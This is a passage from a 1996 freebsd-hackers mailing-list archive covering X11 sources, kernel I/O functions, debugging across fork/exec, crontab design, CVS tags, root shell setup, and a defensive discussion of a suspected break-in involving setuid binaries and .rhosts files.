freebsd-hackers@freebsd.org In-Reply-To: <31D1D05F.446B9B3D@dreamchaser.org> from "Gary Aitken" at Jun 26, 96 06:05:51 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Gary Aitken stands accused of saying: > > I'm probably just blind and stupid... > > Where are the sources for the X11 server in 2.1R? > I can find everything else, but not the server sources. In the two (HUGE!) tarballs in the XF312 directory on the CDrom, and probably on ftp.cdrom.com & friends. > Gary Aitken garya@ics.com (business) -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Jun 26 18:40:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA11508 for hackers-outgoing; Wed, 26 Jun 1996 18:40:02 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA11467 for ; Wed, 26 Jun 1996 18:39:58 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id KAA08211; Thu, 27 Jun 1996 10:56:48 +0930 From: Michael Smith Message-Id: <199606270126.KAA08211@genesis.atrad.adelaide.edu.au> Subject: Re: Help with Linux device on FreeBSD!!] To: hdalog@zipnet.net Date: Thu, 27 Jun 1996 10:56:47 +0930 (CST) Cc: housley@pr-comm.com, freebsd-hackers@FreeBSD.org In-Reply-To: <199606270053.UAA22866@hda> from "Peter Dufault" at Jun 26, 96 08:53:46 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Peter Dufault stands accused of saying: > > The inb / outb functions are in machine/cpufunc.h. At least on my > system you need to have optimization on for them to work properly; > turn on your -O switch if you get complaints > from the compiler. Under 2.1R I seem to recall needing to use in*v and out*v to relate to variables, however I've been seeing optimiser-related problems with some of our I/O code recently and so have gone back to no optimisation with no problems (-current). > Peter Dufault Real-Time Machine Control and Simulation -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Jun 26 18:43:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA11647 for hackers-outgoing; Wed, 26 Jun 1996 18:43:37 -0700 (PDT) Received: from hemi.com (hemi.com [204.132.158.10]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id SAA11640 for ; Wed, 26 Jun 1996 18:43:33 -0700 (PDT) Received: (from mbarkah@localhost) by hemi.com (8.6.12/8.6.12) id TAA25732; Wed, 26 Jun 1996 19:41:58 -0600 From: Ade Barkah Message-Id: <199606270141.TAA25732@hemi.com> Subject: Re: I need help on this one - please help me track this guy down! To: terry@lambert.org (Terry Lambert) Date: Wed, 26 Jun 1996 19:41:58 -0600 (MDT) Cc: hackers@freebsd.org In-Reply-To: <199606252143.OAA00994@phaeton.artisoft.com> from "Terry Lambert" at Jun 25, 96 02:43:37 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Terry Lambert wrote: > rcp preserves suid/sgid on the target system. Now look for a > writeable sticky directory... I don't think this is true... even if it were, now the user owns a setuid/setgid file, no big deal. Regards, -Ade ------------------------------------------------------------------- Inet: mbarkah@hemi.com - HEMISPHERE ONLINE - ------------------------------------------------------------------- From owner-freebsd-hackers Wed Jun 26 19:33:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA14099 for hackers-outgoing; Wed, 26 Jun 1996 19:33:49 -0700 (PDT) Received: from mail.think.com (Mail1.Think.COM [131.239.33.245]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA14091 for ; Wed, 26 Jun 1996 19:33:46 -0700 (PDT) Received: from Early-Bird-1.Think.COM by mail.think.com; Wed, 26 Jun 96 22:11:58 -0400 Received: from compound.Think.COM by Early-Bird.Think.COM; Wed, 26 Jun 96 22:33:17 EDT Received: (from alk@localhost) by compound.Think.COM (8.7.5/8.7.3) id VAA02519; Wed, 26 Jun 1996 21:36:19 -0500 (CDT) Date: Wed, 26 Jun 1996 21:36:19 -0500 (CDT) From: Tony Kimball Message-Id: <199606270236.VAA02519@compound.Think.COM> To: jkh@time.cdrom.com Cc: hackers@freebsd.org Subject: Re: longstanding, woeful inadeqacy References: <199606270008.TAA28833@compound.Think.COM> <28552.835835464@time.cdrom.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Quoth Jordan K. Hubbard on Wed, 26 June: : I think it's something that'd be far more trouble that it's worth : to "fix" - why not just debug the binary being exec'd if that's the : issue? Similarly, fork. The reason why you would want to debug through the exec is to debug in the correct environment. fork is perhaps a more compelling case? From owner-freebsd-hackers Wed Jun 26 20:20:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA17498 for hackers-outgoing; Wed, 26 Jun 1996 20:20:00 -0700 (PDT) Received: from mole.mole.org (marmot.mole.org [204.216.57.191]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id UAA17484 for ; Wed, 26 Jun 1996 20:19:53 -0700 (PDT) Received: (from mail@localhost) by mole.mole.org (8.6.12/8.6.12) id DAA08290; Thu, 27 Jun 1996 03:19:34 GMT Received: from meerkat.mole.org(206.197.192.110) by mole.mole.org via smap (V1.3) id sma008286; Thu Jun 27 03:19:13 1996 Received: (from mrm@localhost) by meerkat.mole.org (8.6.11/8.6.9) id UAA18926; Wed, 26 Jun 1996 20:19:13 -0700 Date: Wed, 26 Jun 1996 20:19:13 -0700 From: "M.R.Murphy" Message-Id: <199606270319.UAA18926@meerkat.mole.org> To: jkh@time.cdrom.com, pechter@shell.monmouth.com Subject: Re: no subject (file transmission) Cc: freebsd-hackers@FreeBSD.org Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > > I'm a fan of OS/x and Pyramid dual universe stuff (which I will add to > > Freebsd -- think universe bsd and universe gnu/linux) and EVEN I think ONE > > Yuck! That was a total kludge, and Apollo's variant symlinks a far > more powerful/flexible approach (plus you don't have an extra > "universe" command, you just set environment variables - principle of > least surprise). Please don't perpetuate that system! :-( > > > 2. Declare the BSD method (the REAL original crontab) the winner. > > I think this is probably our best bet. > I have a Pyramid Granite Pen on my desk and the scars to go with it. I still prefer the dual crontab as it now exists. Vixie did a good job. It's easy for root to edit /etc/crontab and make all sorts of friendly things happen for different users. It's also easy to administer a multi-user cron environment. A little reading of the man pages, man crontab, man 5 crontab, and cat /etc/crontab goes a long way toward understanding why the current cron is a good one. Don't fix what ain't broke. Fix documentation if necessary. -- Mike Murphy mrm@Mole.ORG +1 619 598 5874 Better is the enemy of Good From owner-freebsd-hackers Wed Jun 26 20:21:52 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA17783 for hackers-outgoing; Wed, 26 Jun 1996 20:21:52 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA17760; Wed, 26 Jun 1996 20:21:42 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.7.3) with SMTP id UAA01884; Wed, 26 Jun 1996 20:21:07 -0700 (PDT) Message-Id: <199606270321.UAA01884@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: -Vince- cc: "Eric J. Schwertfeger" , Mark Murray , hackers@freebsd.org, security@freebsd.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of Wed, 26 Jun 96 13:55:05 -0700. Date: Wed, 26 Jun 1996 20:21:02 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> > It was a remote login so he had to transfer it over somehow... >> Well, *if* that's true, it still wouldn't be setuid root just from the >> transfer. He'd *still* have to get root some other way to make this >> binary setuid root. >> But if he's going to do that, why bother copying a binary over the >> network -- it would just be easier to just snag a copy of your own >> /bin/sh and mark it setuid root. > Hmmm, what happens if he tars it first and then sends it over? Try it. :-) That's the only way to figure all this stuff out... Seriously, you must be root to create a setuid root file. It doesn't matter *how* you try to create it. ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Wed Jun 26 23:00:19 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA03205 for hackers-outgoing; Wed, 26 Jun 1996 23:00:19 -0700 (PDT) Received: from dawn.ww.net (dawn.ww.net [193.124.73.50]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA03155 for ; Wed, 26 Jun 1996 22:59:51 -0700 (PDT) Received: (from alexis@localhost) by dawn.ww.net (8.7.5/alexis 2.5) id JAA05033 for freebsd-hackers@freebsd.org; Thu, 27 Jun 1996 09:58:45 +0400 (MSD) Message-Id: <199606270558.JAA05033@dawn.ww.net> Subject: sup tags again To: freebsd-hackers@freebsd.org Date: Thu, 27 Jun 1996 09:58:44 +0400 (MSD) From: Alexis Yushin Reply-To: alexis@ww.net (Alexis Yushin) X-Office-Phone: +380 65 2 26.1410 X-Home-Phone: +380 65 2 27.0747 X-NIC-Handle: AY23 X-RIPE-Handle: AY6-RIPE X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Greetings, Anyone please tell me the last time: how do I know which tag belongs to which release? I.e. how do I find a tag for a specific snap for example? alexis -- Too old to rock'n'roll, too young to die From owner-freebsd-hackers Wed Jun 26 23:18:19 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA04164 for hackers-outgoing; Wed, 26 Jun 1996 23:18:19 -0700 (PDT) Received: from parkplace.cet.co.jp (parkplace.cet.co.jp [202.32.64.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA04157 for ; Wed, 26 Jun 1996 23:18:16 -0700 (PDT) Received: from localhost (michaelh@localhost) by parkplace.cet.co.jp (8.7.5/CET-v2.1) with SMTP id GAA14802 for ; Thu, 27 Jun 1996 06:18:13 GMT Date: Thu, 27 Jun 1996 15:18:13 +0900 (JST) From: Michael Hancock To: hackers@freebsd.org Subject: sh understands set -o vi Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Boy, have I been out of it. I've been putting the following into root's .login to get ksh/bash vi functionality. if ( -x /usr/local/bin/bash & -x /usr/local/bin/ssh-agent ) then setenv ENV "$HOME/.bashrc setenv SHELL "/usr/local/bin/bash" exec /usr/local/bin/ssh-agent /usr/local/bin/bash endif But sh seems to have a lot the features of bash and it's statically linked and lives in /bin, so I'm now using it for the root shell. .profile has this at the end now to get the ssh stuff going... [ -x /usr/local/bin/ssh-agent -a -s /usr/lib/libc.so.3.0 ] && { export ENV SHELL ENV=$HOME/.shrc SHELL=/bin/sh exec /usr/local/bin/ssh-agent /bin/sh } sh does the set -o vi thing and has job control. I think it makes a good safe root shell. mike hancock From owner-freebsd-hackers Wed Jun 26 23:28:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA04675 for hackers-outgoing; Wed, 26 Jun 1996 23:28:39 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA04668 for ; Wed, 26 Jun 1996 23:28:37 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id XAA00514; Wed, 26 Jun 1996 23:27:59 -0700 (PDT) To: Tony Kimball cc: hackers@freebsd.org Subject: Re: longstanding, woeful inadeqacy In-reply-to: Your message of "Wed, 26 Jun 1996 21:36:19 CDT." <199606270236.VAA02519@compound.Think.COM> Date: Wed, 26 Jun 1996 23:27:59 -0700 Message-ID: <512.835856879@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Similarly, fork. > > The reason why you would want to debug through the exec is > to debug in the correct environment. fork is perhaps a more > compelling case? Fork is an easier case since you don't need to swap the debugger's executable out - just attach to the new process. Jordan From owner-freebsd-hackers Wed Jun 26 23:32:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA04851 for hackers-outgoing; Wed, 26 Jun 1996 23:32:00 -0700 (PDT) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA04836 for ; Wed, 26 Jun 1996 23:31:53 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.5/8.6.5) with SMTP id XAA00581; Wed, 26 Jun 1996 23:19:44 -0700 (PDT) Message-Id: <199606270619.XAA00581@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: alexis@ww.net (Alexis Yushin) cc: freebsd-hackers@freebsd.org Subject: Re: sup tags again In-reply-to: Your message of "Thu, 27 Jun 1996 09:58:44 +0400." <199606270558.JAA05033@dawn.ww.net> From: David Greenman Reply-To: davidg@root.com Date: Wed, 26 Jun 1996 23:19:44 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Greetings, > > Anyone please tell me the last time: how do I know which >tag belongs to which release? I.e. how do I find a tag for a specific >snap for example? SNAPs are made from either the "current" or "stable" branches. They have no tag of their own. For SUP, use "release=stable" for stable and "release=current" for current. See /usr/src/share/examples/sup/* for example supfiles. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Jun 26 23:39:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA05245 for hackers-outgoing; Wed, 26 Jun 1996 23:39:44 -0700 (PDT) Received: from mail.think.com (Mail1.Think.COM [131.239.33.245]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA05238 for ; Wed, 26 Jun 1996 23:39:38 -0700 (PDT) Received: from Early-Bird-1.Think.COM by mail.think.com; Thu, 27 Jun 96 02:17:12 -0400 Received: from compound.Think.COM by Early-Bird.Think.COM; Thu, 27 Jun 96 02:38:37 EDT Received: (from alk@localhost) by compound.Think.COM (8.7.5/8.7.3) id BAA00387; Thu, 27 Jun 1996 01:38:17 -0500 (CDT) Date: Thu, 27 Jun 1996 01:38:17 -0500 (CDT) From: Tony Kimball Message-Id: <199606270638.BAA00387@compound.Think.COM> To: jkh@time.cdrom.com Cc: hackers@freebsd.org Subject: Re: longstanding, woeful inadeqacy References: <199606270236.VAA02519@compound.Think.COM> <512.835856879@time.cdrom.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Quoth Jordan K. Hubbard on Wed, 26 June: : Fork is an easier case since you don't need to swap the debugger's : executable out - just attach to the new process. Easier in what sense? It is essentially impossible to debug anything that forks, since by the time you can attach to it, it has gone veering wildly out of control. From owner-freebsd-hackers Wed Jun 26 23:48:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA05509 for hackers-outgoing; Wed, 26 Jun 1996 23:48:23 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA05502 for ; Wed, 26 Jun 1996 23:48:21 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id XAA00648; Wed, 26 Jun 1996 23:45:26 -0700 (PDT) To: alexis@ww.net (Alexis Yushin) cc: freebsd-hackers@freebsd.org Subject: Re: sup tags again In-reply-to: Your message of "Thu, 27 Jun 1996 09:58:44 +0400." <199606270558.JAA05033@dawn.ww.net> Date: Wed, 26 Jun 1996 23:45:26 -0700 Message-ID: <645.835857926@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Anyone please tell me the last time: how do I know which > tag belongs to which release? I.e. how do I find a tag for a specific > snap for example? I'm afraid we don't tag for SNAPs. The most relevant tags you'll find are RELENG_2_1_0 (-stable) and HEAD (-current). Jordan From owner-freebsd-hackers Wed Jun 26 23:57:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA05776 for hackers-outgoing; Wed, 26 Jun 1996 23:57:29 -0700 (PDT) Received: from dawn.ww.net (root@dawn.ww.net [193.124.73.50]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA05710 for ; Wed, 26 Jun 1996 23:55:09 -0700 (PDT) Received: (from alexis@localhost) by dawn.ww.net (8.7.5/alexis 2.5) id KAA05523; Thu, 27 Jun 1996 10:51:23 +0400 (MSD) Message-Id: <199606270651.KAA05523@dawn.ww.net> Subject: Re: sup tags again To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 27 Jun 1996 10:51:23 +0400 (MSD) From: Alexis Yushin Cc: alexis@ww.net, freebsd-hackers@freebsd.org In-Reply-To: <645.835857926@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 26, 96 11:45:26 pm" Reply-To: alexis@ww.net (Alexis Yushin) X-Office-Phone: +380 65 2 26.1410 X-Home-Phone: +380 65 2 27.0747 X-NIC-Handle: AY23 X-RIPE-Handle: AY6-RIPE X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Once Jordan K. Hubbard wrote: >> Anyone please tell me the last time: how do I know which >> tag belongs to which release? I.e. how do I find a tag for a specific >> snap for example? > >I'm afraid we don't tag for SNAPs. The most relevant tags you'll >find are RELENG_2_1_0 (-stable) and HEAD (-current). Ok, where do one finds numbers corresponding to a particular symbolic name. In other words how do I check out a SNAP or anything else I want from cvs deposit? Is there a list? No way? alexis -- Too old to rock'n'roll, too young to die From owner-freebsd-hackers Thu Jun 27 01:39:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA10308 for hackers-outgoing; Thu, 27 Jun 1996 01:39:22 -0700 (PDT) Received: from proxy.siemens.at (proxy.siemens.at [192.138.228.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA10273; Thu, 27 Jun 1996 01:38:11 -0700 (PDT) Received: from sol1.gud.siemens.co.at (sol-f.gud.siemens-austria) by proxy.siemens.at with SMTP id AA12438 (5.67a/IDA-1.5); Thu, 27 Jun 1996 10:37:21 +0200 Received: from ws2301.gud.siemens.co.at by sol1.gud.siemens.co.at with smtp (Smail3.1.28.1 #7 for ) id m0uZCZZ-00020FC; Thu, 27 Jun 96 10:37 MET DST Received: by ws2301.gud.siemens.co.at (1.37.109.16/1.37) id AA158394572; Thu, 27 Jun 1996 10:36:12 +0200 From: "Hr.Ladavac" Message-Id: <199606270836.AA158394572@ws2301.gud.siemens.co.at> Subject: Re: I need help on this one - please help me track this guy down! To: michaelv@HeadCandy.com (Michael L. VanLoon -- HeadCandy.com) Date: Thu, 27 Jun 1996 10:36:11 +0200 (MESZ) Cc: vince@mercury.gaianet.net, ejs@bfd.com, mark@grumble.grondar.za, hackers@FreeBSD.org, security@FreeBSD.org, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net In-Reply-To: <199606270321.UAA01884@MindBender.HeadCandy.com> from "Michael L. VanLoon -- HeadCandy.com" at Jun 26, 96 08:21:02 pm X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk In his e-mail Michael L. VanLoon -- HeadCandy.com wrote: > > > >> > It was a remote login so he had to transfer it over somehow... > > >> Well, *if* that's true, it still wouldn't be setuid root just from the > >> transfer. He'd *still* have to get root some other way to make this > >> binary setuid root. > >> But if he's going to do that, why bother copying a binary over the > >> network -- it would just be easier to just snag a copy of your own > >> /bin/sh and mark it setuid root. > > > Hmmm, what happens if he tars it first and then sends it over? > > Try it. :-) That's the only way to figure all this stuff out... > > Seriously, you must be root to create a setuid root file. It doesn't > matter *how* you try to create it. A five dollar question Vince: does root have .rhosts in his home directory? What is to be found there? If he does, throw it away; it's enormously insecure. Similar with /etc/host.equiv et cetera. /Marino From owner-freebsd-hackers Thu Jun 27 01:42:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA10518 for hackers-outgoing; Thu, 27 Jun 1996 01:42:47 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA10500 for ; Thu, 27 Jun 1996 01:42:31 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id LAA18697; Thu, 27 Jun 1996 11:42:42 +0300 Date: Thu, 27 Jun 1996 11:42:41 +0300 (EET DST) From: Narvi To: hackers@FreeBSD.org Subject: Threads for -stable Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk HI! I know there is the threaded libc (libc_r) for -current but I would like to experiment with threads on -stable. Is it possible to take libc_r from -stable and bring it over to -stable? Or will it be overly big a task? If I only could get a machine to run -current on... But I quite don't have the courage to run -current on either of our 2 servers (which happen to be the only FreeBSD machines). Sander From owner-freebsd-hackers Thu Jun 27 02:02:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA11850 for hackers-outgoing; Thu, 27 Jun 1996 02:02:11 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id CAA11842 for ; Thu, 27 Jun 1996 02:02:04 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id SAA02759; Thu, 27 Jun 1996 18:59:07 +1000 Date: Thu, 27 Jun 1996 18:59:07 +1000 From: Bruce Evans Message-Id: <199606270859.SAA02759@godzilla.zeta.org.au> To: alk@Think.COM, jkh@time.cdrom.com Subject: Re: longstanding, woeful inadeqacy Cc: hackers@FreeBSD.org Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk >: Fork is an easier case since you don't need to swap the debugger's >: executable out - just attach to the new process. Erm. It might be easier because the pc is predictable and breakpoints in the program test don't go away. The debugger doesn't move. However, the kernel has better support for exec than for fork: the execed program "stops before executing the first instruction of the new image" (see ptrace(2)). This seems to work as well as can be expected. You have to load the symbols for the new image. >Easier in what sense? It is essentially impossible to debug anything >that forks, since by the time you can attach to it, it has gone >veering wildly out of control. The child process should probably stop too. It may be too late to fix this. Linux is said to have some syscall for stopping processes before (and after?) all syscalls. This could be used to keep control if it works right across fork/exec. strace probably needs it to work right across fork/exec to keep control. Bruce From owner-freebsd-hackers Thu Jun 27 05:43:43 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA22181 for hackers-outgoing; Thu, 27 Jun 1996 05:43:43 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA22171 for ; Thu, 27 Jun 1996 05:43:38 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id WAA10241; Thu, 27 Jun 1996 22:40:19 +1000 Date: Thu, 27 Jun 1996 22:40:19 +1000 From: Bruce Evans Message-Id: <199606271240.WAA10241@godzilla.zeta.org.au> To: hackers@freebsd.com, jau@jau.csc.fi Subject: Re: POSIX.4 signals + other POSIX.4 stuff to FreeBSD... Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > the kernel though. The kernel seems still to be infested with > fragments of code that assume sigset_t is a simple integer > type ANDing and ORing bits in the sigset_t variables instead > of using the POSIX.1 macros to manipulate the signal sets. The kernel is allowed to do this as an optimization since it knows that sigset_t is an unsigned int in the "machine-independent" file . The POSIX macros require the sigset_t to be indirect so they are likely to be unnecessarily inefficient. > containing such an array. I have now more or less figured out > all these code fragments within the kernel itself, but it seems > that also the Linux application binary interface etc. LKMs have More importantly, the size of a sigset_t is appart of the BSD binary interface. The kernel would have to support variably-sized sigset_t's to support old binaries :-(. There is no such thing as a variably-sized struct, and the current sigset_t doesn't encode its size, this isn't easy. Bruce From owner-freebsd-hackers Thu Jun 27 06:26:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA23815 for hackers-outgoing; Thu, 27 Jun 1996 06:26:23 -0700 (PDT) Received: from dirac.physics.buffalo.edu (dirac.physics.buffalo.edu [128.205.17.45]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA23809 for ; Thu, 27 Jun 1996 06:26:21 -0700 (PDT) Received: from dirac ([128.205.17.45]) by dirac.physics.buffalo.edu (Netscape Mail Server v1.1) with SMTP id AAA171 for ; Thu, 27 Jun 1996 09:27:47 +0100 X-Sender: cihat@dirac.physics.buffalo.edu X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: hackers@freebsd.org From: cihat@dirac.physics.buffalo.edu (Cihat Ozhasoglu) Subject: SMP for 2 PPro-based system Date: Thu, 27 Jun 1996 09:27:47 +0100 Message-ID: <19960627082747750.AAA171@dirac> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk hello, i have a dual PPro supermicro (w/ natoma chipset) m/b w/ 200Mhz cpu's. i would like to install freebsd but i am not sure if SMP is ready for prime time. i would appreciate any recommendations. should i upgrade now or should i wait? and which release is best as far as SMP is concerned? thanks. cihat ozhasoglu (cihat@acsu.buffalo.edu) From owner-freebsd-hackers Thu Jun 27 06:46:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA25812 for hackers-outgoing; Thu, 27 Jun 1996 06:46:27 -0700 (PDT) Received: from rk.ios.com (rk.ios.com [198.4.75.55]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA25805 for ; Thu, 27 Jun 1996 06:46:25 -0700 (PDT) Received: (from rashid@localhost) by rk.ios.com (8.7.5/8.7.3) id JAA04521 for hackers@freebsd.org; Thu, 27 Jun 1996 09:46:06 -0400 (EDT) From: Rashid Karimov Message-Id: <199606271346.JAA04521@rk.ios.com> Subject: de0: receiver: FIFO overflow PROBLEM. To: hackers@freebsd.org Date: Thu, 27 Jun 1996 09:46:06 -0400 (EDT) Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi there folx, I've upgraded to latest 2.2-0612 SnAP on one of my machines here and it looks like its now mouch more stable SCSI- wise - I don't see them resets and SCSI aborts anymore, but this message pops-up every once in a while: de0: receiver: FIFO overflow What does it mean in sense of stability ? Can it cause reboot ? Does it mean the server is not able to read everything it gets off the NIC ? Rashid. From owner-freebsd-hackers Thu Jun 27 08:08:32 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA04934 for hackers-outgoing; Thu, 27 Jun 1996 08:08:32 -0700 (PDT) Received: from pdx1 (pdx1.world.net [192.243.32.18]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA04920 for ; Thu, 27 Jun 1996 08:08:27 -0700 (PDT) Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1 (8.6.9/8.6.9) with ESMTP id IAA11043; Thu, 27 Jun 1996 08:09:19 -0700 Received: (proff@localhost) by suburbia.net (8.7.4/Proff-950810) id BAA27654; Fri, 28 Jun 1996 01:07:34 +1000 From: Julian Assange Message-Id: <199606271507.BAA27654@suburbia.net> Subject: Re: no subject (file transmission) To: 